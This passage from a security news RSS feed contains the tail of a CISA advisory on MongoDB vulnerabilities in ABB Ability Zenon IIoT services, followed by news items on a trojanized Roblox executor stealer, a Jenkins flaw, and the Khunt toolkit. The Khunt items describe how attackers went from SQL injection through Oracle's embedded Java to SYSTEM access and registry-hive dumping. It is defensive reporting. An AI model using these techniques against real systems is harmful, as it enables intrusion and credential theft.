<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2021-20333</a></h3>
<div class="csaf-accordion-content">
<p>Sending specially crafted commands to a MongoDB Server may result in artificial log entries being generated or for log entries to be split. This issue affects MongoDB Server v3.6 versions prior to 3.6.20; MongoDB Server v4.0 versions prior to 4.0.21 and MongoDB Server v4.2 versions prior to 4.2.10.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2021-20333">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/117.html">CWE-117 Improper Output Neutralization for Logs</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2020-7924</a></h3>
<div class="csaf-accordion-content">
<p>Usage of specific command line parameter in MongoDB Tools which was originally intended to just skip hostname checks, may result in MongoDB skipping all certificate validation. This may result in accepting invalid certificates. This issue affects: MongoDB Inc. MongoDB Database Tools 3.6 versions later than 3.6.5; 3.6 versions prior to 3.6.21; 4.0 versions prior to 4.0.21; 4.2 versions prior to 4.2.11; 100 versions prior to 100.2.0. MongoDB Inc. Mongomirror 0 versions later than 0.6.0.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2020-7924">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/295.html">CWE-295 Improper Certificate Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2021-20328</a></h3>
<div class="csaf-accordion-content">
<p>Specific versions of the Java driver that support client-side field level encryption (CSFLE) fail to perform correct host name verification on the KMS server's certificate. This vulnerability in combination with a privileged network position active MITM attack could result in interception of traffic between the Java driver and the KMS service rendering Field Level Encryption ineffective. This issue was discovered during internal testing and affects all versions of the Java driver that support CSFLE. The Java async, Scala, and reactive streams drivers are not impacted. This vulnerability does not impact driver traffic payloads with CSFLE-supported key services originating from applications residing inside the AWS, GCP, and Azure network fabrics due to compensating controls in these environments. This issue does not impact driver workloads that don't use Field Level Encryption.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2021-20328">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/295.html">CWE-295 Improper Certificate Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2021-20334</a></h3>
<div class="csaf-accordion-content">
<p>A malicious 3rd party with local access to the Windows machine where MongoDB Compass is installed can execute arbitrary software with the privileges of the user who is running MongoDB Compass. This issue affects: MongoDB Inc. MongoDB Compass 1.x version 1.3.0 on Windows and later versions; 1.x versions prior to 1.25.0 on Windows.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2021-20334">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB Ability Zenon</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB IIoT services with MongoDB (4.2) installed on ABB Ability Zenon: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>ABB recommends the following specific mitigations for users with IIoT services utilizing MongoDB (version 4.2) on ABB Ability Zenon to reduce risk:</p>
<p><strong>Mitigation</strong><br>Replace bundled MongoDB with a supported version if IIoT services are required:</p>
<p><strong>Mitigation</strong><br>Where IIoT functionality is required, the bundled MongoDB instance can be replaced with a supported and patched version through manual configuration.</p>
<p><strong>Mitigation</strong><br>The following zenon online help section explains the process of installing and using your own MongoDB database: zenHelpViewer.</p>
<p><strong>Mitigation</strong><br>Uninstall IIoT Services wherever it's not required:</p>
<p><strong>Mitigation</strong><br>If IIoT Services are not required, they can be removed using the Control panel uninstaller. This eliminates the dependency on MongoDB without affecting other zenon components. Refer to section "General security recommendations" for further advice on how to keep your system secure.</p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch">https://search.abb.com/library/Download.aspx?DocumentID=9AKK108472A9037&amp;LanguageCode=en&amp;DocumentPartId=pdf&amp;Action=Launch</a></p>
<p><strong>Mitigation</strong><br>For more information see the associated ABB PSIRT security advisory 9AKK108472A9037 ABB CYBERSECURITY ADVISORY - PDF Version , ABB CYBERSECURITY ADVISORY - CSAF Version .<br><a href="https://psirt.abb.com/csaf/2026/9akk108472a9037.json">https://psirt.abb.com/csaf/2026/9akk108472a9037.json</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/250.html">CWE-250 Execution with Unnecessary Privileges</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>ABB PSIRT reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs). Recognize VPNs may have vulnerabilities, should be updated to the most recent version available, and are only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-30</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-30</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
<tr>
<td>2026-08-06</td>
<td>2</td>
<td>Initial Republication of ABB PSIRT 9AKK108472A9037</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Xeno Roblox Executor Delivers Powercat Java Stealer Through Discord]]></title>
<description><![CDATA[The fake “undetected” Xeno Roblox executor currently circulating on gaming forums and Discord is a weaponized loader for the Powercat Java stealer, a multi‑stage RAT and infostealer that targets Discord, Roblox, Minecraft, crypto wallets and payment tokens while enabling full remote control of in...]]></description>
<link>https://tsecurity.de/de/3708306/it-security-nachrichten/fake-xeno-roblox-executor-delivers-powercat-java-stealer-through-discord/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708306/it-security-nachrichten/fake-xeno-roblox-executor-delivers-powercat-java-stealer-through-discord/</guid>
<pubDate>Thu, 06 Aug 2026 15:27:39 +0200</pubDate>
<content:encoded><![CDATA[<p>The fake “undetected” Xeno Roblox executor currently circulating on gaming forums and Discord is a weaponized loader for the Powercat Java stealer, a multi‑stage RAT and infostealer that targets Discord, Roblox, Minecraft, crypto wallets and payment tokens while enabling full remote control of infected Windows systems. Threat actors are promoting trojanized Xeno executors through Roblox‑focused […]</p>
<p>The post <a href="https://gbhackers.com/powercat-java-stealer/">Fake Xeno Roblox Executor Delivers Powercat Java Stealer Through Discord</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[heise+ | Erstellen und Verwenden von Annotations in Java: Teil 2]]></title>
<description><![CDATA[Dieser Leitfaden vertieft die Verarbeitung von Java-Annotations zur Compile-Zeit, zeigt praktische Validierungs-Frameworks und erläutert Best Practices.]]></description>
<link>https://tsecurity.de/de/3708260/it-nachrichten/heise-erstellen-und-verwenden-von-annotations-in-java-teil-2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708260/it-nachrichten/heise-erstellen-und-verwenden-von-annotations-in-java-teil-2/</guid>
<pubDate>Thu, 06 Aug 2026 15:21:48 +0200</pubDate>
<content:encoded><![CDATA[Dieser Leitfaden vertieft die Verarbeitung von Java-Annotations zur Compile-Zeit, zeigt praktische Validierungs-Frameworks und erläutert Best Practices.]]></content:encoded>
</item>
<item>
<title><![CDATA[SQL-Injection 2.0: Toolkit versteckt sich in Oracle-Datenbank - IT-Administrator.de]]></title>
<description><![CDATA[SQL-Injection trifft Oracle-Datenbank: Angreifer schleusen Toolkit "khunt" per Java Source ein und erlangen SYSTEM-Rechte auf dem Server.]]></description>
<link>https://tsecurity.de/de/3708223/windows-server/sql-injection-20-toolkit-versteckt-sich-in-oracle-datenbank-it-administratorde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708223/windows-server/sql-injection-20-toolkit-versteckt-sich-in-oracle-datenbank-it-administratorde/</guid>
<pubDate>Thu, 06 Aug 2026 15:16:14 +0200</pubDate>
<content:encoded><![CDATA[SQL-Injection trifft Oracle-Datenbank: Angreifer schleusen Toolkit "khunt" per Java Source ein und erlangen SYSTEM-Rechte auf dem <b>Server</b>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle-Datenbanken: Hacker nutzen SQL-Injection für Windows-Zugriff - Börse Express]]></title>
<description><![CDATA[... Windows-Server vollständig zu kompromittieren. Besonders betroffen sind Unternehmen mit Java-basierten Webanwendungen. „Khunt“-Toolkit schlummert ...]]></description>
<link>https://tsecurity.de/de/3708224/windows-server/oracle-datenbanken-hacker-nutzen-sql-injection-fuer-windows-zugriff-boerse-express/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708224/windows-server/oracle-datenbanken-hacker-nutzen-sql-injection-fuer-windows-zugriff-boerse-express/</guid>
<pubDate>Thu, 06 Aug 2026 15:16:14 +0200</pubDate>
<content:encoded><![CDATA[... <b>Windows</b>-<b>Server</b> vollständig zu kompromittieren. Besonders betroffen sind Unternehmen mit Java-basierten Webanwendungen. „Khunt“-Toolkit schlummert ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Jenkins Deserialization Flaw Allows Attackers to Execute Code on Controllers]]></title>
<description><![CDATA[A critical vulnerability in Jenkins, tracked as CVE-2026-70426, may allow attackers to execute arbitrary code on Jenkins controllers by bypassing deserialization protections within the platform’s Remoting library. This flaw, identified as SECURITY-3911, affects Jenkins environments where agents c...]]></description>
<link>https://tsecurity.de/de/3708201/hacking/critical-jenkins-deserialization-flaw-allows-attackers-to-execute-code-on-controllers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708201/hacking/critical-jenkins-deserialization-flaw-allows-attackers-to-execute-code-on-controllers/</guid>
<pubDate>Thu, 06 Aug 2026 15:13:58 +0200</pubDate>
<content:encoded><![CDATA[<p>A critical vulnerability in Jenkins, tracked as CVE-2026-70426, may allow attackers to execute arbitrary code on Jenkins controllers by bypassing deserialization protections within the platform’s Remoting library. This flaw, identified as SECURITY-3911, affects Jenkins environments where agents communicate with controllers via serialized Java objects over Remoting, typically deployed as agent.jar or remoting.jar. The Java serialization […]</p>
<p>The post <a href="https://gbhackers.com/critical-jenkins-deserialization-flaw/">Critical Jenkins Deserialization Flaw Allows Attackers to Execute Code on Controllers</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacker nutzen Oracle-Compilierung von Java für SYSTEM-Zugriff per SQL-Injection]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Angreifer kombinieren eine SQL-Injection in einer public-facing Webanwendung mit Oracle-eigener Java-Compilierung, um aus der Datenbank heraus direkt auf ein Windows-System als SYSTEM zuzugreifen. Laut einer Untersuchung entstand die Verbindung über ein unvalidiertes Autoco...]]></description>
<link>https://tsecurity.de/de/3708186/it-security-nachrichten/hacker-nutzen-oracle-compilierung-von-java-fuer-system-zugriff-per-sql-injection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708186/it-security-nachrichten/hacker-nutzen-oracle-compilierung-von-java-fuer-system-zugriff-per-sql-injection/</guid>
<pubDate>Thu, 06 Aug 2026 15:07:59 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-oracle-java-sql-injection-system-access-khunt.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-oracle-java-sql-injection-system-access-khunt.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-oracle-java-sql-injection-system-access-khunt-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-oracle-java-sql-injection-system-access-khunt-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-oracle-java-sql-injection-system-access-khunt-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-oracle-java-sql-injection-system-access-khunt-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-oracle-java-sql-injection-system-access-khunt-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Angreifer kombinieren eine SQL-Injection in einer public-facing Webanwendung mit Oracle-eigener Java-Compilierung, um aus der Datenbank heraus direkt auf ein Windows-System als SYSTEM zuzugreifen. Laut einer Untersuchung entstand die Verbindung über ein unvalidiertes Autocomplete-Feld, das per JDBC Java-Quellcode in die Datenbank brachte. Danach ließen sich OS-Kommandos aus dem Datenbank-Engine-Kontext heraus ausführen und […]</p>
<div><a href="https://www.it-boltwise.de/hacker-nutzen-oracle-compilierung-von-java-fuer-system-zugriff-per-sql-injection.html">... den vollständigen Artikel <strong>»Hacker nutzen Oracle-Compilierung von Java für SYSTEM-Zugriff per SQL-Injection«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/hacker-nutzen-oracle-compilierung-von-java-fuer-system-zugriff-per-sql-injection.html">Hacker nutzen Oracle-Compilierung von Java für SYSTEM-Zugriff per SQL-Injection</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Attackers hid malware inside Oracle Database after SQL injection breach]]></title>
<description><![CDATA[Huntress has documented a case where the Oracle database itself became the malware host.



The security firm disclosed a campaign in which threat actors exploited a SQL injection vulnerability to store a custom post-exploitation toolkit, dubbed Khunt, inside an Oracle database using the platform...]]></description>
<link>https://tsecurity.de/de/3708066/it-security-nachrichten/attackers-hid-malware-inside-oracle-database-after-sql-injection-breach/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3708066/it-security-nachrichten/attackers-hid-malware-inside-oracle-database-after-sql-injection-breach/</guid>
<pubDate>Thu, 06 Aug 2026 14:12:08 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Huntress has documented a case where the Oracle database itself became the malware host.</p>



<p class="wp-block-paragraph">The security firm disclosed a campaign in which threat actors exploited a <a href="https://www.csoonline.com/article/564663/what-is-sql-injection-how-these-attacks-work-and-how-to-prevent-them.html">SQL injection</a> vulnerability to store a custom post-exploitation toolkit, dubbed Khunt, inside an Oracle database using the platform’s built-in Java capabilities.</p>



<p class="wp-block-paragraph">Huntress became aware of the intrusion after investigating a credential theft activity on a server running Oracle Database. The researchers learned that rather than simply executing commands through SQL injection, the attackers had leveraged Oracle’s embedded Java Virtual Machine (OJVM) to upload, compile, and execute malicious Java code directly from within the database.</p>



<p class="wp-block-paragraph">The approach reportedly allowed the attackers to blend into legitimate database functionality while maintaining a persistent foothold on the compromised server.</p>



<p class="wp-block-paragraph">“The attackers managed to gain initial access in this attack thanks to a classic SQL injection,” Huntress researchers said in a blog <a href="https://www.huntress.com/blog/khunt-malware-sql-injection-oracle" target="_blank" rel="noreferrer noopener">post</a>. “There was no need for a novel vulnerability because the autocomplete search feature in the public-facing application was enough to reach PL/SQL and then the operating system.”</p>



<h2 class="wp-block-heading"><a></a>Exploitation beyond SQL injection</h2>



<p class="wp-block-paragraph">The attack revolved around Khunt, a Java-based toolkit that attackers stored as a database object using Oracle’s “CREATE JAVA SOURCE” functionality. Oracle Database includes an embedded Java Virtual Machine that allows organizations to execute Java code from within the database for legitimate business applications.</p>



<p class="wp-block-paragraph">Once compiled inside the database, the Java code could be run through SQL statements to execute operating system commands on the underlying host where Oracle was configured. The malware inserted within the database schema would be considerably harder to detect, Huntress noted.</p>



<p class="wp-block-paragraph">After setting up the code execution path from within the database, the attackers could (and did) carry out post-compromise activities, including credential theft.</p>



<p class="wp-block-paragraph">In the incident Huntress investigated, the attackers ultimately compromised the Windows server hosting Oracle Database, escalating from <a href="https://www.csoonline.com/article/573101/sql-injection-xss-vulnerabilities-continue-to-plague-organizations.html">SQL injection</a> to SYSTEM-level command execution. With that level of access, they were able to dump the Windows SAM, SECURITY, and SYSTEM registry hives, enabling offline extraction of local account password hashes.</p>



<p class="wp-block-paragraph">The campaign’s non-reliance on noisy malware binaries and incorporation of the malice entirely within Oracle’s native functionality was flagged by researchers as an evolved operation that calls for targeted detection.</p>



<p class="wp-block-paragraph">Oracle did not immediately respond to CSO’s requests for comment.</p>



<h2 class="wp-block-heading"><a></a>Mitigation focused on post-exploitation toolkit </h2>



